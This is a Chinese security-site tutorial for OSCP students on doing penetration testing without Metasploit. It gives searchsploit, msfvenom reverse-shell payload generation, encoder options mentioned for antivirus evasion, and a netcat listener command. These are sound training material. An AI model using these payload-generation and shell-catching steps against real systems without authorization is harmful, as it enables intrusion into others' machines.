freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

    新手科普 | 如何脱离Metasploit进行渗透测试
    2018-09-11 13:00:18

    “努力!”是个传统美德,也一直是我们生活的口号,不过大多数人显然没有真正理解它的含义,他们十有八九只是在即时聊天时把努力挂在嘴边,这显得低幼且毫无帮助。同样的,如果不使用Metasploit我们将如何进行渗透测试?我也可以说“努力!”。然后用一个虚情假意的熊猫表情包结束这篇文章,但是我不会那么做。在这篇文章中,我会分享一些(可能)有帮助的,可操作的建议。如果你是个新手或正在为OSCP认证而学习,那么这篇文章了解一下。

    487948614044465973.jpg

    Metasploit以及其他类似工具在(不)著名的OSCP认证中受到严格限制。其背后有一个很好的理由:这样可以迫使学习者从实际上了解漏洞利用是如何运作的。准备的时候觉得这样很糟糕,但是最后会发现自己会的更多了,这也应该是你准备OSCP认证的目的,不是吗?为了摆脱对Metasploit的依赖,我们需要替代方案并更深入地理解一些关键概念。

    为什么用Metasploit

    在搞清楚如何才能不用Metasploit之前,得先搞清楚为什么要用它。在OSCP lab的情况下,用Metasploit主要是以下用途:

    找到exploit

    自定义payload

    提权

    得到反向shell

    为了不使用Metasploit,我们就需要找到替代的东西。

    寻找exploit

    最快捷,最简单的方法是使用集成在Kali中的工具searchsploit。用上了这个工具,你会觉得每次敲击键盘都优雅了不少。废话不多说,其实Searchsploit只是在exploit-db数据库中搜索你提供的关键字。它会返回可在Metasploit中使用的或是独立的,用各种语言编写的exploit。

    语法很容易记住:

    searchsploit 关键词1 关键词2 关键词3 ...

    输出如下图所示:

    33096678141394039.png

    还没完,所有的exploit已经存储在kali中,可以通过以下命令将它们复制到当前目录:

    searchsploit -m [exploit database id]

    例如,要复制图上列表中的第一个exploit:

    292944218874835557.png

    如果searchsploit中无法找到任何鲜美的exploit,请尝试Google。 如果Google也没有,那么可能还不是一个公开的exploit。此时你就要“努力!”了。

    虚情假意的熊猫表情包.gif

    自定义payload

    如果你对Metasploit很熟练,那么你可能已经熟悉了payload的概念。使用Metasploit模块时设置的payload会定义exploit在成功利用后尝试的实际操作。通常,都是打开Meterpreter会话或反向shell,以便可以控制目标机器。

    在Metasploit中选择payload时,就相当于在漏洞利用代码中手动替换payload.因此,要在此处替换Metasploit,我们需要做的就是手动替换payload。 这通常意味着我们需要生成一些shellcode。怎么做?继续往下读!

    Msfvenom

    谢天谢地,Msfvenom被允许用于OSCP认证。我们可以使用它来生成自定义payload,然后将其用于我们的exploit。需要注意的是:如果你正在进行OSCP认证,请坚持使用标准的反向shell payload,而不是Meterpreter。在OSCP认证中禁止使用Meterpreter。

    创建shellcode的基本语法如下:

    msfvenom -p [payload] -f [格式] LHOST=[你的ip] LPORT=[你的监听端口]

    一旦获得了shellcode,我们只需将其复制-粘贴到漏洞利用代码中,以替换exploit中的当前payload。

    例如,如果我们正在处理打开calc.exe(Windows漏洞中常见的PoC)的缓冲区溢出漏洞exploit,那就要编辑该漏洞的代码,用msfvenom生成的shellcode替换当前的calc.exe shellcode。

    下图为msfvenom的实例。在这个例子中,我使用的是一个unstaged的TCP反向shell,LHOST设置为1.2.3.4,LPORT设置为1234。

    56445374509486817.png

    Staged和Unstaged Payload

    你之前可能没有注意到,使用的大多数payload都有一个非常相似的双胞胎。例如,请注意“windows/shell_reverse_tcp”和“windows/shell/reverse_tcp”之间的细微差别。第一个是Unstaged的,而第二个是Staged的。 你会看到与许多其他payload相同的命名约定。

    Staged和Unstaged有什么区别?如果使用Unstaged的payload,则会在一次命中后发送整个payload并在目标计算机上执行。这意味着你可以使用简单的netcat listener捕获shell,如果你用的是Staged payload,则需要使用Metasploit multi handler来捕获shell(顺便说一下,这在考试中是允许的!)。如果你尝试使用netcat listener来捕获shell,则会在建立连接后立即结束。staged payload初始是较小的payload,然后会从主机上的Metasploit handler下载完整payload。如果你没有足够的空间来利用,那么它们就很棒。最后,你应该用哪个?随你便。在缓冲区溢出的蜜汁世界中,有时一个会有用,而另一个则不会,所以最好同时拥有两个!

    其他MSFVenom选项

    还有很多其他的选择供你深入研究,但它们超出了本文的范围,这里有一些你可能会使用的最常见的清单,但尚未涵盖所有:

    -e 允许你选择编码,其中最常见的是x86\shikata_ga_nai。这对于避免特殊符号或绕过杀毒软件非常有用......虽然对后者已经不太管用了。

    -b 允许你设置去除的字符。特定漏洞利用的指定字符通常在公共利用代码中公开。

    --lists(两个破折号) 将列出payload和格式,例如,如果要查看所有可能的payload的列表,可以运行msfvenom --list payloads

    提权

    有时,使用Metasploit进行提权就像1,2,get_system一样简单。不幸的是,如果没有Metasploit,就不那么容易了。首先我要说的是,这是一个很大的话题。对于这篇不起眼的文章来说,写不下,但我会在这里提供一些入门知识。

    首先,如果没有参考传说级的“FuzzySecurity Windows Privilege Escalation”文章,就不能说Windows 提权是完整的。这篇文非常好地涵盖了手动Windows 提权的基础知识!

    其次,Windows漏洞利用在Linux系统上进行编译会很烦人。你可以从Github下载预编译的漏洞利用程序

    再次,同一个repository附带了很好的数据表,可以帮助你确定最有可能有用的漏洞。 你可以点击这里下载。

    捕获反向shell

    好消息是,这个过程并没有在OSCP中发生很大变化。主要区别在于无法使用Meterpreter。解决这个问题只需使用普通的反向shell payload。

    最后我检查过,你可以在Metasploit中使用exploit/multi/handler来捕获shell。这比使用普通的旧netcat listener没有太大的优势,因为你无论如何都看不到Meterpreter或Metasploit的其他功能。唯一的例外是如果你使用的exploit payload限制了空间,在这种情况下,你可能需要使用staged payload。

    再次提醒:staged payload不适用于netcat!你必须使用Metasploit的exploit/multi/handler模块。

    最后,如果你决定使用Netcat方法,只需使用以下语法启动listener即可。

    nc -nvlp [端口号]

    *参考来源:medium,FB小编Covfefe编译,转载请注明来自FreeBuf.COM

    # 渗透测试 # Metasploit
    本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
    被以下专辑收录,发现更多精彩内容
    + 收入我的专辑
    + 加入我的收藏
    相关推荐
    • 0 文章数
    • 0 关注者